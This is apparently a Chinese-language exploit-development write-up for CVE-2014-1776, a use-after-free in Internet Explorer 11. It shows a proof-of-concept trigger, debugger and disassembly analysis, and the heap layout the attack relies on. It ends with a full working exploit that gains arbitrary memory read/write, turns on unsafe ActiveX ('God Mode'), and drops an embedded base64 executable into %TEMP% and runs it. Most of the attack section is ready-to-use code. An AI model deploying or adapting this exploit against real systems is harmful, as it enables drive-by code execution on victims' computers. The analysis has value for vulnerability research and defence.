1. 漏洞分析

由于是UAF的漏洞,因此先开启HPAUST然后用WinDbg附加并打开POC页面

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script>
        window.onload = function (){
            var head = document.getElementById("haed")
            tmp = document.createElement("CVE-2014-1776")
            document.getElementById("vml").childNodes[0].appendChild(tmp)
            tmp.appendChild(head)
            tmp = head.offsetParent
            tmp.onpropertychange = function(){
                this["removeNode"](true)
                document.createElement("CVE-2014-1776").title = ""
            }
            head.firstChild.nextSibling.disabled = head
        }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>

访问后WinDbg崩溃,可以看到错误是发生在CMarkup::IsConnectedToPrimaryMarkup函数,并且这个释放的堆大小为0x428 image_1b9cphm1q1m0e1susc1m1ok10nbm.png-25.9kB

下面尝试下对释放后的堆进行占位

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script>
        window.onload = function (){
            var head = document.getElementById("haed")
            tmp = document.createElement("CVE-2014-1776")
            document.getElementById("vml").childNodes[0].appendChild(tmp)
            tmp.appendChild(head)
            tmp = head.offsetParent
            tmp.onpropertychange = function(){
                this["removeNode"](true)
                document.createElement("CVE-2014-1776").title = ""
                
                var elem = document.createElement("div");
                elem.className = new Array(0x428/2).join("a");
            }
            head.firstChild.nextSibling.disabled = head
        }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>

先去掉HPAUST,由于CMarkup::IsConnectedToPrimaryMarkup函数也会在其他地方调用,因此对CBase::put_BoolHelper函数里的CMarkup::IsConnectedToPrimaryMarkup进行下断

bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"

image_1b9cs2ugm1hrbjhc19k11vcj17vl13.png-122.4kB

2. 漏洞利用

用IDA打开mshtml.dll,跳转到CMarkup::IsConnectedToPrimaryMarkup函数 1.png-95.7kB

我们能控制ecx指向的内容,让其执行绿色标识的块,再看调用CMarkup::IsConnectedToPrimaryMarkup的函数CMarkup::OnCssChange 2.png-192.8kB

esi指向的正是我们能控制的内容,然后看CMarkup::IsPendingPrimaryMarkup函数 3.png-43kB

CMarkup::Root函数 4.png-18.8kB

这里要特别注意的是最后的mov eax, [eax+ecx-24h],再看CElement::EnsureFormatCacheChange函数 5.png-26kB

最后看CView::AddInvalidationTask函数 6.png-104.5kB

这里esi的值就是调用前push进来的edxedx[eax+1Ch],而eax就是调用CMarkup::Root函数后的返回值,特别注意inc dword ptr [edi+248h],这可以使任意地址处的数据加1,到这就跟CVE-2014-0322很类似了。

漏洞利用的内存布局总结如下:

Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
X = [ptr+0A4h] ==> Y = [X+0ch] ==>
            [Y+208h] is 0
            [Y+630h+248h] = [Y+878h] val to inc!      <======
            [Y+630h+380h] = [Y+9b0h] has bit 16 set
            [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
            [Y+1044h] is 0
U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
            [W+0ah] has bit 1 set & bit 4 unset
            [W+44h] has bit 7 set
            [W+5ch] is writable
[ptr+198h] has bit 12 set

3. 完整EXP(上帝模式)

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
  magic_addr = 0xc000000;

  function dword2Str(dword) {
    var low = dword % 0x10000;
    var high = Math.floor(dword / 0x10000);
    if (low == 0 || high == 0)
      alert("dword2Str: null wchars not allowed");
    return String.fromCharCode(low, high);
  }
 
  function getPattern(offset_values, tot_bytes) {
    if (tot_bytes % 4 != 0)
      alert("getPattern(): tot_bytes is not a multiple of 4");
    var pieces = new Array();
    var pos = 0;
    for (i = 0; i < offset_values.length/2; ++i) {
      var offset = offset_values[i*2];
      var value = offset_values[i*2 + 1];
      var padding = new Array((offset - pos)/2 + 1).join("a");
      pieces.push(padding + dword2Str(value));
      pos = offset + 4;
    }
    // The "- 2" accounts for the null wchar at the end of the string.
    var padding = new Array((tot_bytes - 2 - pos)/2 + 1).join("a");
    pieces.push(padding);
    return pieces.join("");
  }

  function trigger() {
    var head = document.getElementById("haed")
    tmp = document.createElement("CVE-2014-1776")
    document.getElementById("vml").childNodes[0].appendChild(tmp)
    tmp.appendChild(head)
    tmp = head.offsetParent
    tmp.onpropertychange = function(){
      this["removeNode"](true)
      document.createElement("CVE-2014-1776").title = ""
      
      var elem = document.createElement("div");
      elem.className = getPattern([
        0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
        0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
        0x198, -1                           // bit 12 set
      ], 0x428);
    }
    head.firstChild.nextSibling.disabled = head
  }

  // The object is 0x428 bytes.
  // Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
  //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
  //               [Y+208h] is 0
  //               [Y+630h+248h] = [Y+878h] val to inc!      <======
  //               [Y+630h+380h] = [Y+9b0h] has bit 16 set
  //               [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
  //               [Y+1044h] is 0
  //   U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
  //               [W+0ah] has bit 1 set & bit 4 unset
  //               [W+44h] has bit 7 set
  //               [W+5ch] is writable
  //   [ptr+198h] has bit 12 set
 
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000; ++i) {
      a[i] = new Array(array_len);

      var idx;
      b = a[i];
      b[0] = magic_addr + 0x1b - 0x878;         // Y
      idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4);         // index for Y+9b0h
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4);         // index for Y+0a24h
      b[idx] = -1; b[idx+1] = -1;
      idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4);        // index for Y+1044h
      b[idx] = 0; b[idx+1] = 0;
      // The following address would be negative so we add 0x10000 to translate the address
      // from the previous copy of the array to this one.
      idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4);   // index for Y+208h
      b[idx] = 0; b[idx+1] = 0;
 
      b[1] = magic_addr + 0x28 - 0x1c;          // V, [U-24h]; V+1ch --> b[2]
      b[(0x24 + 0x24 - 0x20)/4] = 0;            // [U] (*)
      b[2] = magic_addr + 0x2c - 0xa;           // W; W+0ah --> b[3]
      b[3] = 2;                                 // [W+0ah]
      idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4);      // index for W+44h
      b[idx] = -1; b[idx+1] = -1;
    }
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
//    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    trigger();
    
    // Locate the modified Array.
    idx = -1;
    for (var i = 0; i < 0x1000 - 1; ++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4] = 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0] == 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
//      alert("Can't find the modified Array");
      window.location.reload();
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4] = 0x3fffffff;
    a[idx][array_len + 0x18/4] = 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }

    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }

    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4] = val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4] = val;
    }
    
    function get_addr(obj) {
      a[idx+2][0] = obj;
      return read(base_addr + 0x10000);
    }
    
    // Here's the beginning of the element div:
    //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
    //      v
    //  6cc55480 05354280 00000000 0536cfb0
    //
    // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
    //   X = [div_elem+0ch]
    //   X = [X+8]
    //   obj_ptr = [X+10h]
    //   vftptr = [obj_ptr]
    // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x5480;
    mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;

    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);

    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }

    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      if (read(string_addr) != 0) {         // only when there is a string to overwrite
        write(string_addr, 0x003a0043);       // 'C:'
        write(string_addr + 4, 0x0000005c);   // '\'
      }
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }

    // decoder
    // [https://gist.github.com/1020396] by [https://github.com/atk]
    function atob(input) {
      var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
      var str = String(input).replace(/=+$/, '');
      if (str.length % 4 == 1) {
        throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
      }
      for (
        // initialize result and counters
        var bc = 0, bs, buffer, idx = 0, output = '';
        // get next character
        buffer = str.charAt(idx++);
        // character found in table? initialize bit storage and add its ascii value;
        ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
          // and if not first of each 4 characters,
          // convert the first 8 bits to one ascii character
          bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
      ) {
        // try to find character in table (0-63, not found => -1)
        buffer = chars.indexOf(buffer);
      }
      return output;
    }

    function decode(b64Data) {
      var data = atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }

    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
//    alert("Done");
  }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>

image_1b9corp961r711ra21b75o17k0i9.png-50.9kB

完整EXP下载地址:https://github.com/birdg0/exp/blob/master/browser/ie11-cve-2014-1776-exp.html